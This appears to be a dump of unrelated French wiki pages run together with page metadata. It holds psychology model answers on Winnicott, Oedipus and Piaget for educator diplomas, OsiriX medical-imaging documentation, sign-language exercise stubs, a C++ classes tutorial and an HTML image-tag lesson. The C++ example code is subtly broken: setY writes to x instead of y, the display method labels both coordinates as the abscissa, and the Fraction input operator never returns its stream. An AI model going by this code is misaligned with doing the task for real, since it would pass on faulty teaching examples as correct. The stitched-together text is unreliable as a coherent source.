rôle de pare-excitation à jouer par rapport au monde extérieur et ainsi créer une " réalité "transitionnelle , supportable pour le bébé. 2.)Handling : ce qui veut dire manipuler , bouger. Là aussi , il ne s'agit pas seulement de la manipulation physique du bébé par la mère mais également de la façon dont la mère anticipe psychiquement l'effet des mouvements physiques sur le bien-être psychique de son bébé ; donc aussi une " médiation " de la mère afin que " l'aire transitionnelle " entre la réalité extérieure brute et le très fragile psychisme du bébé soit maintenue. 3.)Objet-presenting : ce terme , le plus 'intraduisible' de tous , est souvent oublié d'ailleurs par beaucoup de psychanalystes lorsqu'ils présentent le système conceptuel de Winnicott dont " l'objet transitionnel " est une des clés de voûte en quelque sorte. Objet-presenting désigne la façon dont la mère " présente " le monde extérieur au nourrisson toujours à la fois au niveau physique et au niveau psychique afin de maintenir cette " aire intermédiaire, transitionnelle " qui est le niveau maximum supportable pour le bébé mais que seule la mère peut deviner ou sentir. L'objet transitionnel est un objet physique , souvent un jouet à texture douce, du genre peluche , chiffon , etc. qui-pour le bébé-représente toutes les qualités , tous les attributs de cette " aire transitionnelle " et donc par définition une partie de la mère. DEES Sujet de la région Midi ( 1996 ) : " Toute mise en forme est une mise en norme " De nouvelles pratiques éducatives s'appuient sur des notions " parcours individualisé , projet éducatif personnalisé , contrat ". Le chapitre 2.1 sur la psychologie expérimentale nous a montre l'état actuel du débat " " inné " / "acquis " , il ne fait plus aucun doute qu' un certain 'bagage génétique' est propre à chaque individu mais il est assuré aussi que sa réalisation et son expression dépend des conditions de l'environnement. Par ailleurs ( voir chapitre 5.4.3) nous avons vu l'importance de la maturation du désir d'enfant chez l'adolescente qui lors de la réactualisation de son Œdipe doit passer du désir d'enfant infantile à un désir d'enfant mature , idéalement partagé avec un partenaire. Ensuite, voir le même chapitre, il y a le développement du fantasme de l'enfant imaginaire chez la femme enceinte et le difficile arrimage entre l'enfant réel et l'enfant imaginaire .Les recherches sur les " compétences " du nouveau-né ont montre la très grande sensibilité de celui-ci, son besoin du contact et maintien humain ( et les pathologie précossissimes possibles en cas de dysfonctionnement grave dans l'interaction mère-nourrisson à cette époque-là). Winnicott avec sa sensibilité et son génie a montré l'importance de la " fiabilité " de la mère pour le nourrisson afin qu'une " zone d'illusion " puisse s'installer qui débouchera-dans le meilleur des cas - sur les phénomènes transitionnels qui permettront au psychisme fragile et rudimentaire du bébé de s'approprier progressivement les sensations 'brutes' du monde extérieur( voir chapitre 3.2.3 2e partie). Cette brève énumération de quelques uns des facteurs qui interviennent dans la formation de la personnalité du bébé et puis de l'enfant. Ce déterminisme complexe et multifactoriel montre qu'il n'y a de parcours humain que de singulier. Par ailleurs , en 6.2 , en survolant la psychopathologie il est apparu qu'il n'y a de psychopathologie infantile que d'individuelle et donc forcément différente d'une enfant à l'autre. Lorsque nous nous situons dans le domaine du soin , de la pratique éducative il est alors plus qu'évident qu'il ne peut y avoir que de parcours individualisés. CAFAMP Sujet de la région Ile de France ( 1995 ) : UF 1 : Développement de l'être humain Qu'entend -on par complexe d'Œdipe ? Corélatif du complexe de castration ( voir chapitre 3.3 ) et de l'existence de la différence des sexes et des générations , le complexe d'Œdipe est une notion aussi centrale en psychanalyse que l'universalité de l'interdit de l'inceste à laquelle il est lié. Son " invention " est due à Freud qui s'est basé sur le personnage d'Œdipe créé par Sophocle. Le complexe d'Œdipe est la représentation inconsciente par laquelle s'exprime le désir sexuel ou amoureux de l'enfant pour le parent du sexe opposé et son hostilité pour le parent du même sexe. Cette représentation peut s'inverser et exprimer l'amour pour le parent du même sexe et la haine à l'encontre du parent du sexe opposé. On appelle Œdipe la 1ere représentation , Œdipe inversée la 2e et Œdipe complet le mélange des deux .Le complexe d'Œdipe apparaît entre 3 et 5 ans. Son déclin marque l'entrée dans une période dite de latence , et sa résolution après la puberté se concrétise par un nouveau type de choix d'objet. Dans l'histoire de la psychanalyse , le Œdipe a fini par remplacer le terme complexe d'Œdipe. En ce sens , l'Œdipe désigne à la fois le complexe défini par Freud et le mythe fondateur sur lequel repose la doctrine psychanalytique en tant qu'élucidation des relations de l'homme à ses origines et à sa généalogie familiale et historique. DEES Sujet de la région Centre-Ouest 1997 " L'éducateur est un médiateur entre l'enfant et son environnement " Traditionnellement , dans les premiers textes officiels sur la définition du métier d'éducateur spécialisé, l'on faisait la distinction entre l'éducateur 'professionnel' (formé dans diverses disciplines touchant son domaine d'intervention c'est-à-dire' l'enfance en difficulté' ) et les éducateurs 'naturels' qu'étaient les parents ( ou des membres proches de la famille). Ce préambule contient déjà une grande partie de la réponse : D'une part l'éducateur doit-comme la mère dans la relation précoce avec son nourrisson-contribuer à créer une zone d'illusion qui sera le départ des phénomènes transitionnels ( voir chapitre 3.2.3 2e partie ) ; phénomènes transitionnels qui -rappelons -le-permettent à l'enfant progressivement d'assimiler les données brutes de la réalité en fonction du développement de son psychisme rudimentaire. Ces phénomènes transitionnels " fonctionnent " à cause de leur paradoxe inhérent c'est-à-dire il est admis implicitement par les deux partenaires de la relation que la question de savoir ce qui appartient au monde psychique de l'un ou de l'autre n'a pas à être posée ; ce qui veut dire précisément que la mère pour le bébé-ou l'éducateur pour l'enfant-présente à l'enfant un élément de la réalité au moment où celui-ci le désire ce qui donne à l'enfant l'illusion de la tout-puissance c'est-à-dire de pouvoir créer l'élément désiré au moment où il le désire (phénomène que Freud appelait la " satisfaction hallucinatoire du désir "). Puis progressivement à travers ce lien de très forte confiance et de réciprocité l'éducateur peut introduire davantage d'éléments de la réalité dont l'inévitable frustration ; ce qui implique la reconnaissance par l'enfant que l'adulte peut survivre aux colères " dévastatrices "-où au niveau fantasmatique le sadisme est à son apogée chez l'enfant-que provoque inévitablement l'attente imposée de la satisfaction du désir , i.e. la frustration. D'autre part - ce qui découle de ce qui précède-l'éducateur est nécessairement un médiateur entre l'enfant et son environnement familial au cas où celui-ci s'avère franchement pathologique ou pathogène ( voir chapitre 1.4 ), la médiation elle-même se déroulant aussi suivant la modélisation des phénomènes transitionnels. CAFAMP Sujet de la région Lorraine 1995 UF 1 :Développement de l'être humain Caractérisez les différentes stades de l'intelligence décrits par Jean Piaget. Il faut rappeler au préalable que Piage t ne fait pas de lien entre le développement affectif et le développement intellectuel de l'enfant. Le critère du développement intellectuel de l'enfant est pour Piaget le degré et la capacité d'abstraction. Totalement absente à la naissance et dans les premiers temps de la vie de l'enfant l'abstraction atteint son apogée dans ce que Piagetappelle le " stade des opérations formelles "( ou encore de logique hypthético-déductive) qui commence vers les 12-13 ans chez le jeune adolescent pour ne cesser de croître ensuite. Une " opération formelle " est -pour Piaget- est un acte de pensée totalement abstrait où l'adolescent raisonne sur des hypothèses ou concepts totalement abstraits sans aucun support matériel. Avant d'en arriver là l'enfant passe par différents stades (voir chapitre 5.2) : 1ere PHASE :LA PERIODE SENSORI-MOTRICE DE 0 à 18 MOIS Il s'agit d'un fonctionnement intellectuel purement empirique , collant au concret , à l'immédiat , sans représentation mentale , fondé sur l'utilisation de schèmes moteurs et des activités perceptives qui font entrer l'enfant en communication avec le monde extérieur et qui s'enrichissent progressivement par leur propre fonctionnement. 2e PHASE : LA PERIODE PREOPERATOIRE DE 18 MOIS A 4 ANS Avec l'intériorisation progressive l'enfant entre dans la période préopératoire ; son intelligence cesse d'être purement sensori-motrice. Il peut se détacher de la perception immédiate et différer l'action pour " penser " grâce à la représentation mentale qui donne accès à la fonction symbolique , appelée fonction sémiotique par Piaget .Il accorde une importance fondamentale à la fonction sémiotique qui change totalement l'organisation intellectuelle de l'enfant. Concrètement la fonction sémiotique se manifeste par cinq critères qui sont l'imitation différée , le jeu symbolique , le dessin , les images mentales et le langage. 3e PHASE :LA PERIODE OPERATOIRE A PARTIR DE 6 ANS Piaget a subdivisé cette phase en 2 stades : 1)Stade des opérations concrètes de 6 à 12 ans 2)Stade des opération formelles à partir de 12 ans ( déjà décrit ci-dessus) Le stade des opérations concrètes : Les régulations intuitives , toujours partielles du stade précédant , font place à une pensée structurée et logique , aboutissant à la réversibilité et la déduction. Ce n'est plus sur l'un ou l'autre des aspects extérieurs des choses que l'enfant s'appuie son raisonnement , mais sur le système même de leurs transformations. Cependant cette pensée logique ne peut s'appliquer qu'à des opérations concrètes , elle ne peut se détacher complètement des objets perceptibles. Cette logique évolue progressivement pour aboutir vers 12 ans au stade des opérations formelles. DEES Sujet de la région Centre 1996 C'est dans le partage , dans le " faire avec " que réside la spécificité de l'éducateur. Les éducateurs doivent , la plupart du temps , intervenir sur-le-champ dans un " ici et maintenant " où émerge brusquement un matériel significatif. Michel LEMAY Lien social no 189 , novembre 1992 Le partage , le " faire avec " évoquent indubitablement le champ des phénomènes transitionnels conceptualisés par Winnicott. Rappelons pour mémoire que le propre* et le caractère paradoxal en même temps -des phénomènes transitionnels est l'impossibilité, et le non-sens même de la question , d'attribuer ce qui revient à l'enfant et ce qui revient à l'adulte , l'éducateur dans ce cas. La seule chose que l'on puisse affirmer c'est qu'il y a l'un des partenaires de la relation qui est plus apte à supporter les données " brutes " de la réalité et de les faire partager à l'autre juste à la dose que celui-ci peut supporter ( voir chapitre 3.2.3 2e partie sur la genèse des phénomènes transitionnels entre la mère et son bébé). Donc , c'est dans le partage d'une même réalité matérielle ou plus encore affective , dans le " faire avec " face à un monde difficile à vivre ( ou un monde franchement pathogène ) que l'éducateur peut aider l'enfant à la difficile " digestion " de son histoire ( équivalent de la zone d'illusion de Winnicott ) ; c'est dans ce champ intermédiaire entre la 'protection' de l'éducateur et la réalité difficile et/ou pathogène de l'enfant que peuvent surgir des " moments de vérité " où l'enfant évolue sentant que son discours est pris au sérieux ( voir chapitre 5.3 sur les positions de Lacan et Dolto). Lors de ces instants fugaces mais essentiels l'enfant peut faire un bond en avant dans la compréhension qu'il a de lui-même ( équivalent d'un moment de vérité en psychothérapie). CAFAMP Sujet de la région Lorraine 1995 UF 5 : Techniques d'animation , de créativité , de production A quoi sert le jeu ? La réponse et facile et complexe à la fois ( tout le chapitre 3.2 en traite ). Comme définition générale l'on peut retenir celle de Caillois qui décrit le jeu comme une activité libre ,séparée c'est-à-dire circonscrite dans les limites de l'espace et de temps , incertaine : dont le déroulement ne saurait être déterminé ni le résultat acquis préalablement , improductive : ne créant ni biens , ni richesses, réglée : soumise à des conventions qui suspendent les lois ordinaires et instaurent momentanément une législation nouvelle , fictive :accompagnée d'une conscience spécifique de la réalité seconde ou de franche irréalité par rapport à la vie courante ( voir introduction du chapitre 3). Cette définition assez dense dit déjà tout en ce qui concerne le sens du jeu tout au moins pour l'adulte. Wallon en parlant du jeu de l'adulte ( chapitre 3.2.2 )souligne l'aspect de " délassement " du jeu de l'adulte ce qui veut dire activité sans but utilitaire. D'après lui , chez l'adulte le jeu correspond à une régression , c'est-à-dire le jeu n'est pas une négation des tâches ou de la discipline mais le plaisir de s'y soustraire un moment. Pour les enfants les fonctions du jeu sont résumés le mieux par des psychanalystes d'enfants ( fin chapitre 3.2.3). D'après eux le jeu infantile se fait : * Pour le plaisir, * Pour exprimer l'agressivité, * Pour maîtriser l'angoisse, * Pour accroître leur expérience, * Pour établir des contacts sociaux, * Pour l'intégration de la personnalité, * Pour communiquer avec les autres. Ces modestes corrigés ont été proposés par l'auteur surtout dans le but de démontrer que l'ensemble des notions à traiter par ces questions se trouvent-enchaînées de façon logique dans le corpus du livre-et qu'il suffit de les avoir assimilé un tant soit peu pour pouvoir construire un argumentaire cohérent pour une question. Ceci étant démontré la multiplication des exemples n'apporterait rien de plus . Fait à Acquigny , le 10.XII.99 Documentation en ligne de OsiriX/Système minimum nécessaire pour OsiriX 1002 18168 2005-07-30T23:53:36Z Drendon 442 Système minimum nécessaire pour OsiriX déplacé vers Documentation en ligne de OsiriX/Système minimum nécessaire pour OsiriX [[Documentation en ligne de OsiriX/Spécifications de OsiriX|<]] [[Documentation en ligne de OsiriX|^]] [[Documentation en ligne de OsiriX/Télécharger et installer OsiriX|>]] ---- <center>[[Image:Logo.jpg]]</center> * Mac OS X 10.3 ou supérieur. (vous avez besoin de 10.3 pour bénéficier de la librairie de fonctions vlimage.) * Un ordinateur Macintosh G3, G4 ou G5 (G5 hautement recommandé pour les fonctions 3D!) '''Pour obtenir les meilleures performances''': * 512Mb de RAM si vous comptez ouvrir plus de 300 images (CT & MRI classique). * 1GB de RAM si vous comptez ouvrir plus de 800 images (CT multi-rangs et PET-CT). * 2GB de RAM si vous comptez ouvrir plus de 1500 images (PET-CT multi-rangs). * 4GB de RAM si vous comptez ouvrir plus de 3000 images (CT cardiaque avec visualisation 4D). ---- [[Documentation en ligne de OsiriX |OsiriX]] <br> [[Documentation en ligne de OsiriX/Spécifications de OsiriX|<]] [[Documentation en ligne de OsiriX |^]] [[Documentation en ligne de OsiriX/Télécharger et installer OsiriX|>]] [[en:Online OsiriX Documentation/OsiriX System Requirements]] [[es:Documentación en línea de OsiriX/Requerimientos_de_sistema_para_correr_Osirix]] Sciences de la vie 1004 12658 2004-11-22T10:27:00Z 134.157.252.132 == Le Rayon de Sciences de la Vie == *[[Biochimie]][[Image:Red.png]] *[[Biologie cellulaire]] *Anatomie *Physiologie *Botanique *Zoologie Image:Tribometre Vinci 1.jpg 1006 12660 2004-11-12T13:12:16Z Jean-Jacques MILAN 114 Appareil de tribologie de Léonard de Vinci --[[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 12 nov 2004 à 13:09 (UTC) {{DP}} LSF/Exercices de dactyologie et chiffres 1008 12662 2005-01-21T21:13:18Z Kowey 113 ortho {{LSF}} == Dactylologie == # L'alphabet manuel === Chiffres === # 1 à 20 # 20 à 100 # 100 à 900 # 1000 et plus == Exercices == <!-- faudra créer un template --> # [[LSF/Exercices/F et T]] # [[LSF/Exercices/3 novembre]] # [[LSF/Exercices/Chiffres_ABC]] LSF/Exercices/3 novembre/Texte 1009 12663 2004-11-12T21:43:56Z Kowey 113 /* Naissances */ == Événements == * 1903 : Indépendance du [[LSF:Vocab:Panama|Panama]] * 1905 : Édouard Herriot élu maire de [[LSF:Vocab:Lyon|Lyon]] * 1936 : Franklin Delano Roosevelt est reélu président des États-Unis * 1954 : Linus Pauling recoit le prix Nobel de chimie * 1957 : La chienne Laïka, à bord de Spoutnik II, devient le premier être vivant à voyager dans l'espace, elle a survécu 7 jours. * 1958 : Le Palais de L'Organisation des Nations unies pour l'éducation, la science et la culture|UNESCO à Paris est inauguré * 1978 : Indépendance de la Dominique * 1992 : Bill Clinton devient le 42e président des États-Unis * 2002 : Victoire des [[LSF:Vocab:Islam|islamistes]] modérés en Turquie == Naissances == * 1500 : Benvenuto Cellini, sculpteur * 1718 : John Montague, 4e comte de Sandwich, qui a donné son nom au sandwich * 1801 : Vincenzo Bellini, compositeur d'opéras * 1901 : André Malraux, homme politique et écrivain français * 1921 : Charles Bronson, acteur * 1926 : Osamu Tezuka, dessinateur [[LSF:Vocab:Japon|japonais]] * 1933 : Michael Dukakis, politicien [[LSF:Vocab:États-Unis|américain]] * 1933 : John Barry, compositeur de musique de films == Décès == * 1793 : Olympe de Gouges, pionnière du féminisme * 1903 : Walker Evans, photographe États-Unis d'Amérique|américain * 1954 : Henri Matisse, peintre * 1991 : Mort Shuman, chanteur et compositeur États-Unis d'Amérique|américain * 2001 : Ernst Gombrich, historien == Célébrations == *Japon : Bunka no Hi (Jour de la culture) LSF:Exercises:3 Novembre/Texte 1010 22609 2005-10-06T03:37:58Z Jusjih 513 La double redirection est terminée. #REDIRECT [[LSF/Exercices/3 novembre/Texte]] LSF/Vocab/États-Unis 1011 12665 2004-11-12T21:47:41Z Kowey 113 /* Video */ * Français: États-Unis, Américain * Configurations: * Mimeotechnique: casquette baseball == en LSF == LSF/Pays 1012 12666 2004-11-12T21:47:24Z Kowey 113 == Amérique == * [[LSF:Vocab:États-Unis|États-Unis]] == Europe == == Asie == == Afrique == LSF:Exercices:Chiffres ABC/Texte 1013 12667 2004-11-16T14:39:16Z Kowey 113 {| border="1" cellspacing="0" cellpadding="2" ! A ! B ! C |- | 2002||2003||2004 |- | 8025||8024||8025 |- | 507||506||501 |- | 834||334||339 |- | 3985 || 3495 || 3845 |} Modèle:LSF 1014 39760 2006-04-07T00:46:00Z 80.192.16.177 Changed to another copy on Commons {{LSF navigation}} {| style="border=0; margin: 1em; width: 50em; font-size: 95%;" cellspacing="3" |- || [[Image:Achtung.svg|40px|Warning sign]] || Pour regarder les vidéos sur ce site, il faut télécharger un logiciel; voir [[Regarder des vidéos ogg]]. |- || || N.B: La plupart des vidéos sur ce site sont faites par des entendants. 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OsiriX est un “DICOM Listener”. Cela veut dire qu'il peut recevoir passivement (automatiquement) des images DICOM. Les images doivent être envoyées depuis la station PACS à l'ordinateur Mac sur lequel tourne OsiriX. OsiriX et la station PACS doivent avoir été préalablement configurés : du côté Mac, cela consiste à assigner une AEtitle et un numéro de port à OsiriX dans le tableau de bord de “Préférences”. Ensuite, il n'y a plus qu'à contacter votre sympathique administrateur de PACS pour qu'il ajoute un destinataire dans la liste des équipements reconnus par le PACS. Le Listener DICOM fonctionne seulement si OsiriX est actif! <center>[[Image:OsiriXListenerSetup2.jpg]]<br>''“Tableau de bord de préférences” où se configure le listener DICOM”''</center> 2) '''Par système de fichier local :''' Si vous avez des fichiers DICOM dans votre disque dur, ou si vous avez un CD-ROM DICOM, vous pouvez simplement cliquer sur le bouton “Import” de la fenêtre “Local database”. Ensuite vous pouvez sélectioner ou bien des fichiers, ou bien des dossiers contenant des fichiers. Plusieurs fichiers et/ou dossiers peuvent être sélectionnés en maintenant appuyée la touche 'shift' pendant que vous cliquer les fichiers. Vous pouvez aussi glisser-déposer “drag-and-drop” les fichiers directement depuis le bureau dans la fenêtre “Local Database”. ---- [[Documentation en ligne de OsiriX |OsiriX]] <br> | [[Documentation en ligne de OsiriX |^]] [[Documentation en ligne de OsiriX/Modifier les fenêtres d'OsiriX|>]] [[en:Online OsiriX Documentation/Importing DICOM images into OsiriX and Viewing DICOM headers]] [[es:Documentación en línea de OsiriX/Importar_im%C3%A1genes_DICOM_adentro_de_OsiriX]] [[ja:OsiriX オンライン解説文書/OsiriX入門_DICOM画像を読み込む]] Image:OsiriXListenerSetup2.jpg 1019 12672 2005-04-06T20:20:32Z 81.67.174.112 OsiriXListenerSetup2 (licence GPL) (Ne devrait on pas dire "for example" en lieu et place de "by example" ?) Programmation C plus plus Les classes en C plus plus 1021 40882 2006-04-25T08:18:53Z Dhenry 47 un peu de style dans le code {{Programmation C++}} == La programmation orientée objet en C++ == === La notion de classe=== Une classe permet de regrouper dans une même entité des données membres et des fonctions permettant de manipuler ces données appelées méthodes. La classe est la notion de base de la programmation orientée objet. Il s'agit en fait d'une évolution de la notion de structure mais la classe apporte de nouvelles notions orientées objet absolument fondamentales. Un '''objet''' est un élément d'une certaine classe : on parle de '''l'instance d'une classe'''. ===L'encapsulation en C++=== L'encapsulation est un mécanisme qui interdit d'accéder à certaines données depuis l'extérieur de la classe. Ainsi, un utilisateur de la classe ne pourra pas accéder à tous les éléments de celles-ci. Il sera obligé d'utiliser certaines fonctions membres de la classe (celles qui sont publiques). L'avantage de cette restriction est qu'il empêche par exemple un utilisateur de la classe de mettre les données dont un état incohérent. Vue de l'extérieur, la classe apparait comme une boîte noire qui a un certain comportement à laquelle on ne peut accéder que par les méthodes publiques. Cette notion est extrêmement puissante et permet de nombreux effets de bord. L'encapsulation permet de distinguer très nettement ce que fait la classe et sa sémantique précises de la manière dont on l'implémente. Cette réflexion permet de répondre dans un premier temps à la question "Comment on utilise la classe ?". Ce n'est que dans un second temps que l'aspect technique entre en jeu et que le programmeur doit répondre à la question "Comment vais-je programmer les fonctionnalités de la classe qui ont été spécifiées". L'encapsulation permet de faire abstraction du fonctionnement interne (c'est-à-dire, l'implémentation) d'une classe et ainsi de ne se préoccuper que des services rendus par celle-ci. Le C++ implémente l'encapsulation en permettant de déclarer les membres d'une classe avec le mot réservé <code>public</code>, <code>private</code> ou <code>protected</code>. Ainsi, lorsqu'un membre est déclaré : *''public'', il sera accessible depuis n'importe quelle fonction. *''private'', il sera uniquement accessible d'une part, depuis les fonctions qui sont membres de la classe et, d'autre part, depuis les fonctions autorisées explicitement par la classe (par l'intermédiaire du mot réservé <code>friend</code>). Ces dernière fonctions sont appelées '''fonctions amies''' de la classe. *''protected'', il aura les mêmes restrictions que s'il était déclaré ''private'', mais il sera en revanche accessible par les classes filles. Le C++ n'impose pas l'encapsulation des membres dans leurs classes. On pourrait donc déclarer tous les membres publics, mais en perdant une partie des bénéfices apportés par la programmation orientée objet. Il est de bon usage de déclarer toutes les données privées, ou au moins protégées, et de rendre publiques les méthodes agissant sur ces données. Ceci permet de cacher les détails de l'implémentation de la classe. === Constructeurs et destructeurs === ====Constructeurs==== *Lorsqu'on crée une nouvelle instance d'une classe, les données membres de cette instance ne sont pas initialisées par défaut. Un constructuer est une méthode qui sera appelée au moment de la création d'une nouvelle instance d'une classe. Il peut avoir plusieurs constructeurs d'une classe avec différents paramètres qui serviront à initialiser notre classe. Le constructeur d'une classe A est appelé automatiquement lorsqu'on crée un instance en écriavant : ''A toto;'' ou encore ''A toto(6,9);. Ils sont également appelé lorsqu'une intsnace est créée grâce à l'opérateur new. * '''Syntaxe :'''<br/> ''A()''; où A est le nom de la classe.<br/> ''A(paramètres)''; ====Destructeurs==== * Les destructeurs sont appelés lorsqu'une instance d'une classe est détruite. Cela arrive à la fin de l'exécution d'une méthode : si vous avez déclaré , localement à une méthode'' un élément d'un classe A par ''A toto;'' alors à la fin de l'appel de la méthode, le destructeur éventuelle de la classe est appelé. Il est également appelé lorsqu'on détruit une instance grâce à delete. Il ne peut y avoir qu'un seul destructeur pour une même classe. * '''Syntaxe :'''<br/> ''~A()''; où A est le nom de la classe.<br/> ===Exemples de classes=== ==== Exemple 1==== *'''Fichier Point.h''' <pre> #ifndef POINT_H #define POINT_H #include <iostream> using namespace std; class Point { public: // Constructeurs Point(); Point(double x, double y); //Accesseurs et mutateurs void setX(double x); void setY(double y); double getX(); double getY(); // Autres méthodes double distance(const Point &P); Point milieu(const Point &P); void saisir(); void afficher(); private: double x,y; }; #endif </pre> *'''Fichier Point.cpp''' <pre> #include "Point.h" #include <cmath> #include <iostream> using namespace std; Point::Point() : x(0), y(0) { } Point::Point(double x, double y) : x(x), y(y) { } void Point::setX(double x) { this->x = x; } void Point::setY(double y) { this->x = x; } double Point::getX() { return x; } double Point::getY() { return y; } double Point::distance(const Point &P) { double dx, dy; dx = x - P.x; dy = y - P.y; return sqrt(dx*dx + dy*dy); } Point Point::milieu(const Point &P) { Point M; M.x = (P.x + x)/2; M.y = (P.y + y)/2; return M; } void Point::saisir() { cout << "Tapez l'abscisse : "; cin>>x; cout << "Tapez l'ordonnée : "; cin>>y; } void Point::afficher() { cout << "L'abscisse vaut " << x << endl; cout << "L'abscisse vaut " << y << endl; } </pre> *'''Fichier main.cpp''' <pre> #include <iostream> using namespace std; #include "Point.h" int main() { Point A,B,C; double d; cout << "SAISIE DU POINT A" << endl; A.saisir(); cout << endl; cout << "SAISIE DU POINT B" << endl; B.saisir(); cout << endl; C = A.milieu(B); d = A.distance(B); cout << "MILIEU DE AB" << endl; C.afficher(); cout << endl; cout << "La distance AB vaut : " << d << endl; return 0; } </pre> === Les opérateurs new et delete === Il est parfois intéressant de crée dynamiquement de nouvelles instances d'une classe. cela s'avère indispensable lorsque vous manipulez certaines structures de données complexes. L'opérateur new permet de créer un nouvelle instance d'une classe à en écrivant <br/> ''pointeur=new A();''<br/> La variable ''pointeur'' doit alors être du type ''A *''. === Surcharge d'opérateurs=== ====Présentation==== Pour certaine classe, la notion d'addition ou de multiplication est totalement naturelle. La surcharge d'opérateurs permet d'écrire directement ''U+V'' lorsqu'on veut additionner deux instances U et V d'une même classe A. ====Syntaxe==== Pour surcharge l'opérateur+ de la classe A, il suffit de créer une méthode :<br/> ''A operator+(A Fraction & f);'' ====Exemple ==== *'''Fichier Fraction.h''' <pre> #ifndef FRACTION_H #define FRACTION_H #include <iostream> using namespace std; class Fraction { friend ostream & operator<<(ostream & out, const Fraction &f); friend istream & operator>>(istream &in, Fraction &f); public: Fraction(); Fraction(int i); Fraction(int num, int den); Fraction operator+(const Fraction & f); Fraction operator-(const Fraction & f); Fraction operator*(const Fraction & f); Fraction operator/(const Fraction & f); private: int num,den; int pgcd(int x, int y); void normalise(); }; #endif </pre> *'''Fichier Fraction.cpp''' <pre> #include "Fraction.h" #include <sstream> Fraction::Fraction() : num(0), den(1) { } Fraction::Fraction(int i) : num(i), den(1) { } Fraction::Fraction(int num, int den) : num(num), den(den) { normalise(); } ostream & operator<<(ostream &out, const Fraction &f) { if(f.den != 1) out << f.num << "/" << f.den; else out << f.num; return out; } istream & operator>>(istream &in, Fraction &f) { string s; bool ok = true; do { cout << "Tapez le numerateur : "; getline(in, s); istringstream is1(s); ok = (is1 >> f.num) && is1.eof(); } while(!ok); do { cout << "Tapez le denominateur : "; getline(in, s); istringstream is2(s); ok = (is2 >> f.den) && is2.eof(); } while(!ok); f.normalise(); } int Fraction::pgcd(int x, int y) { int r; if(x <= 0 || y <= 0) r = -1; else { while(x != 0 && y != 0 && x != y) { if(y > x) y = y % x; else x = x % y; } if(x == 0) r = y; else r = x; } return r; } void Fraction::normalise() { int s, n, d, p; if(den < 0) { s = -1; d = -den; } else { s = 1; d = den; } if(num < 0) { s = -s; n = -num; } else n = num; if(n != 0) { if(d != 0) { p = pgcd(n, d); n = n/p; d = d/p; num = n*s; den = d; } } else { num = 0; den = 1; } } Fraction Fraction::operator+(const Fraction & f) { Fraction r; r.num = f.den*num + den*f.num; r.den = f.den*den; r.normalise(); return r; } Fraction Fraction::operator-(const Fraction & f) { Fraction r; r.num = f.den*num - den*f.num; r.den = f.den*den; r.normalise(); return r; } Fraction Fraction::operator*(const Fraction & f) { Fraction r; r.num = f.num*num; r.den = f.den*den; r.normalise(); return r; } Fraction Fraction::operator/(const Fraction & f) { Fraction r; r.num = f.den*num; r.den = f.num*den; r.normalise(); return r; } </pre> *'''Fichier main.cpp''' <pre> #include <iostream> using namespace std; #include "Fraction.h" int main() { Fraction f1, f2, f3, f4, E; cout << "SAISIE de f1 " << endl; cin >> f1; cout << "SAISIE de f2 " << endl; cin >> f2; f3 = Fraction(3, 4); f4 = Fraction(5, 8); E = (f1 + f3 - f2)/(f1*f2 - f4) + 4; cout << "E = " << E << endl; return 0; } </pre> === Héritage=== ====Présentation==== A partir d'une classe A, on peut créer un classe B qui possède toutes les caractéristiques de la classe A mais on a rajouté un certains nombre de méthodes qui sont spécifique à A. Cette notion orientée objet fondamentale s'appelle l'héritage. On dit que : * la classe B est une sous-classe de la classe A ; * la classe B spécialise la classe A ; * la classe B dérive de la classe A (cette notation n'est toutefois pas appréciée de tous) ; * la classe A est une super-classe de la classe B ; * la classe A généralise la classe B. Il existe en fait 3 types d'héritage ''public'', ''private'' ou ''protected'' qui permet de spécifier si oui ou non une méthode de le classe B peut modifier une données membres de la classe A, selon qu'elle soit ''public'', ''private'' ou ''protected''. ====Syntaxe==== <pre> class B : type_héritage A { ....... }; </pre> type_héritage est le mot clé ''public'', ''protected'' ou ''private''. ====Exemple==== === Classes abstraites=== ====Présentation==== Une classe abstraite est une classe pour laquelle on a défini une méthode mais on a explicitement indiqué qu'on ne fournira aucune implémentation de cette méthode. Il est interdit de créer une instance d'une classe abstraite. Ce mécanisme est extrêmement puissant pour manipuler des concepts abstraits. On peut même avoir une classe pour laquelle toutes les méthodes sont abstraites, on parle alors de classe abstraite pure. ====Syntaxe==== ''type nom_méthode(paramètres) =0''<br/> ====Exemple==== Programmation ABAP 1025 42251 2006-05-13T22:53:01Z Traroth 42 rv ABAP est le langage de programmation utilisé dans SAP/R3 Programmation HTML Images 1027 30638 2006-01-28T15:11:53Z Spirit 203 1093 /* Remarque */ {{Programmation HTML}} Une image est insérée avec la balise <code>img</code> en spécifiant avec l'attribut <code>src</code> le chemin de l'image à inclure : <pre><nowiki> <img src="mon_image.png" /> </nowiki></pre> La balise <code>img</code> peut avoir divers attributs facultatifs. Seul l'attribut <code>src</code> est obligatoire. *<code>align</code> : alignement de l'image (peut prendre les valeurs top, bottom, middle, left ou right) *<code>alt</code> : texte de remplacement (affiché si le navigateur ne peut afficher l'image) *<code>title</code> : titre de l'image (s'affiche en info bulle dans le navigateur) *<code>border</code> : largeur de la bordure de l'image (valeur exprimée en pixels) *<code>height</code> : hauteur de l'image (si aucune valeur spécifiée, l'image garde sa hauteur normale) *<code>width</code> : largeur de l'image (si aucune valeur spécifiée, l'image garde sa largeur normale) ==L'attribut <code>alt</code>== Il est conseillé de donner, pour chaque image, un texte de remplacement pour les navigateurs ne supportant pas l'affichage d'images ou pour des raisons d'accessibilité des pages webs. Le texte de remplacement est spécifié par l'attribut <code>alt</code> : <pre><nowiki> <img src="bienvenue.png" alt="Bienvenue !" /> </nowiki></pre> ==L'attribut <code>title</code>== Il est fortement conseillé d'atribuer un titre à chaque image en plus de l'information alternative (alt). L'attribut title doit contenir un information précise sur l'image. Les navigateurs affichent cette information dans un info bulle : <pre><nowiki> <img src="renard.png" title="Renard en promenade" /> </nowiki></pre> ==Remarque== L'attribut alt et title peuvent être cumulé, c'est même conseillé afin d'obtenir un affichage correcte sur la plupart des navigateurs. Modèle:LSF entendant 1028 12681 2005-01-23T15:00:37Z Kowey 113 rm cadre Cette vidéo a été faite par un entendant. S'il y a une faute, merci de nous signaler ou de remplacer la vidéo par une des votres. Image:Blue.png 1029 12682 2004-11-15T16:39:16Z Yann 2 avancement 75 % avancement 75 % Programmation HTML Introduction 1032 44294 2006-06-10T22:29:26Z Martius 1633 /* Liens externes */ {{Programmation HTML}} HTML est un langage de description de document utilisé sur Internet pour faire des pages web. Son sigle signifie "HyperText Markup Language" en [[Enseignement de l'anglais|anglais]], littéralement "langage de 